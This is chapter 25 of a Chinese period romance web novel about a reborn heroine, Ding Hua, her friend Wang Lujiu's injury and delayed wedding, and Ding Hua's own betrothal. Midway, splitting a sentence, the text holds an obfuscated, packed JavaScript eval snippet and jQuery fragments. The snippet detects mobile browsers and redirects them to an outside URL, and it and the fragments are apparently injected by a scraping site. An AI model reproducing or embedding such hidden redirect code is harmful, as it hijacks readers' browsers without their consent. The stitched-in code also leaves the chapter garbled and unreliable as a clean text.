第二十五章一纸聘书
长安新雨后,满阶红叶暮。
丁婳辞了两次,王鹿韭还是坚持出屋送她。
“伤筋动骨一百天,前天大夫过来已经让我把这拐扔了。”王鹿韭扶着寸心的手臂起身说道。
“快一百天了……”丁婳喃喃自语道,离她的百日之期也近了。
二人携手出了屋子,丁婳扶着王鹿韭下了四级石台阶。
雨后清新,院中绿意盎然。
丁婳并不急着走,两人又到院中的小亭子里坐了坐。
“姐姐,我有一问。”丁婳终是忍不住。
“想问什么便问吧。”
“你与大公子的婚期?这伤的不是时候,可有延误?”丁婳问的十分直接。
“家里的大人已经再择吉日了,大约还有三四个月,在走三书六礼。”王鹿韭并不扭捏,坦然回答道。
丁婳眸光微动,她为了掩饰自己的神情转头看向院中的绿树,“那便好,顺利便好。”
她这辈子顶了丁媛的婚事,不日就要过文定了,大约会在隆冬成婚,这和上一世丁媛徐敏成婚的时间是一样的,过程很顺利。
而王鹿韭与庾经文前一世的婚礼应该是丁媛成婚的小一年后,丁婳本以为王鹿韭受伤的变故让这场婚礼推迟了,没有想到竟还是和上一世不一样吗?其中的变故是什么?会是丁婳自己吗?
“府里后花园有几棵枫树,你难得过来,要不去逛逛?”王鹿韭出声询问。
“好啊。”丁婳未来几个月都要筹备婚礼,作为待嫁女确实很难再来了。
寸心虚扶着王鹿韭,丁婳走在后面看着王鹿韭款步姗姗、步态轻盈,看来已是大好了。
不过百十来步,穿过的鲤鱼池来到了王林大人的枫林。
说是枫林不如说是个花卉园子,正中似乎是个圆形的牡丹园,但过了时令,春牡丹已经凋败了,只能换上几株秋日也可常开的矮小牡丹。周围还有几株常青的盆栽。
石阶之上,园子深处种着几棵红枫,几棵绿树。其景致错落有致,雨后青葱。
只可惜丁婳还是来晚了,如火枫叶已随着秋雨落下,正是满阶红叶暮。
“是我不好,邀你来赏景确实迟了,秋日中却已没什么风景了。”王鹿韭十分遗憾的说道。
“怎么会,秋风萧瑟也是一景。”
话虽如此,但景致确实比不得春夏。丁婳只在园中转了一圈,便告辞了。
“都巳时了,我也该走了,姐姐好生修养。”
“路上小心,过几个月若是有宴饮,我给你发帖子,你要是不忙,可以出来转转。”
“好,那我便等姐姐的帖子了。”丁婳会心一笑。
月亮门中,二人互相见了礼,丁婳便提着裙子走了。
“小姐!”丁婳刚走出十几步,听到身后寸心和蕊心的齐声惊呼。
发生了什么?
丁婳赶忙回头,跑了不过几步就看到王鹿韭倒在石板之上,她身下有微湿的石板路和十几片吹落的枫叶。
“小姐,你拽着我的肩膀,我扶你起来。”蕊心慌忙道。
“别!”门外的丁婳赶忙大声阻止。
王鹿韭和蕊心寸心齐齐看向她。
“你们姑娘刚刚受伤,现在别扶她,万一一不小心再把腿碰伤一次,去告诉主母,叫大夫去,若是要扶她起来也行,找两个人抬担架过来。”
蕊心和寸心先是一愣,她们主仆三人,仿佛被锁在了这小小的月亮门中。
丁婳有一瞬间觉得自己只是个看客,她在门外看到这无法阻挡的命运,任王鹿韭有多少人侍奉也逃不过受伤,最终迎来和上一世一样的婚期。
寸心反应过来,从小门里跑了出去禀告主母,叫大夫去了……
王鹿韭缓了缓,稍微好些了,强作镇定表情,她对着丁婳道:“妹妹回去吧。”
“我还是留下来吧。”丁婳犹豫道。
“一则你只是来做客的,一会儿叔母过来,你在这儿怕是叔母怪你,即便说清了,陪我看大夫也要耽误你。二则我现在这个样子,失仪狼狈,也不想叫妹妹看见。”
“鹿韭是牡丹花,牡丹垂头也是牡丹,怎么会失仪呢?”丁婳看着她淡淡的笑道,“不过确实出来时间长了,我该告辞了。”
这是实话,王鹿韭从不会失态。
丁婳出了王府,上了马车,对车夫道:“去东市的今古斋。”
这次出门她带的是无徵,无徵非常安静,车厢内安静得落针可闻。
丁婳靠在车窗上,又想起了王鹿韭的婚事,有一个迷信的说法是:你如果做一件事情百折千挠,困难重重,那就是上天阻止你去做这件事情。
王鹿韭的婚期本来春日就定了,她骨折延了一次,现在肯定又延了一次。庾经文这个人绝非良配,连上天都在阻止她嫁给他。
不过最后王鹿韭还是嫁了,无论发生什么都无法阻止琅琊王氏和大将军庾泽结为姻亲。
她忽然生出了一个想法,她要转车头再回王府,她要把这一切都告诉王鹿韭,她要拉王鹿韭一把。
丁婳随即自嘲地笑了,她现在如果说出去,状元郎庾泽的大公子并非良配,怕是整个长安城都会像看笑话一样看她。
王鹿韭的命数就如这车轮滚滚,一直向前,不会回头……
今古斋很快到了,丁婳下马车的时候远远地看到了一个熟悉的背影——庾经文。
庾经文并不是一个人,他和一个红衣的小宦官同路。
红衣?那人是谁?大内总管魏路?年岁似乎不太像。
丁婳一边想一边进了今古斋的大门。掌柜的似乎刚送走了两位贵客,笑容更甚,红光满面。
虽然好奇,丁婳却没有多言,只问了她十天前送的信件被庾季夏取走了没有?
掌柜的笑答:“前两日已经取走了。”
丁婳便很安心的出了门,打道回府。
大约隔了九十天,庾季夏又看了她的信,她以后只要保证三个月一封信的频率就可以了。长安城的那些大事就让他们去忙吧,自己好好的活下去就可以了。
第二日便是纳吉之日,徐丁两家正式订婚。
徐家下了聘书,丁家接过,男女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866648|176163||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
双方正式缔结婚约。
丁婳梳妆整齐,端坐在赵夫人的内厅,隔着一扇打开的小门,一道屏风,听着正堂的梅夫人说着大段的吉祥话。
“两姓联姻,一堂缔约,良缘永结……”
徐大人夫妇和丁大人夫妇也是一派惺惺作态,虚以委蛇。
不过你家有心,我府有意,双方倒是其乐融融,一团和气。
丁婳忽然想到什么似的,看向了一旁的丁媛。
丁媛浑然不觉,睁着大眼睛回看她。
她偷了丁媛的命数,偷了丁媛的人生,但对方现在什么也不知道……丁婳此时想为丁原做些什么,但是她也不知道自己能做什么……
花萼相辉楼,地字一号雅间。
庾经佯装醉酒趴在了桌子上,户部侍郎扶着他的肩膀叫了两次,端起最后一杯酒一饮而尽。他看庾经文实在叫不醒,便吩咐庾经的小厮好生照看,自己晃晃悠悠地先回了。
户部侍郎陈旻刚走出十几步,庾经便抬起头。深色漠然,毫无醉态。
唤人撤了一桌残羹冷炙,又换了一桌新的美酒佳肴,下一个客人是京兆府尹李嘉。
……
终于在戌时,庾经文疲惫地坐上了回府的马车。
没行几步,马车便被杨明锡叫停。
庾经文看到来人笑了笑,招手叫他上来。
杨明锡刚上马车,并没寒暄几句,便直奔主题,从袖中取出手书。
庾经文闭目,示意他念。
杨明锡低声念了起来。
从清河崔氏结党,到王鹿韭再伤,琅琊王氏再次推延了婚期……
杨明锡一连念了十条。
庾经文疲惫地揉了揉眉心,只听见杨明锡又道:“徐静大人与丁羡大人要结亲了,今日便是纳吉之日,若是快一些,再过三个月便是婚期,您到时候可否出席?”
“事关卢府自然要去,徐敏毕竟是我的表弟……”庾经忽然一顿,随即睁开眼睛问道,“太常寺丁大人府上?哪位小姐?莫不是四小姐丁婳?”
“正是四小姐。”
“丁婳与徐敏?”愁眉不展的庾经忽然笑了,那笑容是少见的嘲弄放肆,不知是在嘲笑谁,“好好好,可真有意思。”
杨明锡观庾经形态,知道这事儿他已经了解了七八分,本还犹豫着要不要说。现在他放心地说道:“丁四小姐现在依然在给二公子写信。”
“没断吗?不是去年的事了?”
“没断,前几天又写了一封,已经送到了二公子手上。”
“什么?前几天?朝秦暮楚,她怎么敢?”
是夜,庾经文派小厮给庾季夏送了盒瓜果。
“都这么晚了,你回去吧。”
书房的门大敞着,庾季夏贪凉,就这么敞着门写字,秋风萧瑟,几缕晚风吹到了书案的信纸上。
“是。”小厮答是,没有离开。
“哥哥还说了什么?”庾季夏用手抚平信纸,抬眼看了看屋外的小厮。
“大公子说,今日徐府与丁府已下了文定,不日就是婚期,二公子到时候要去观礼吗?”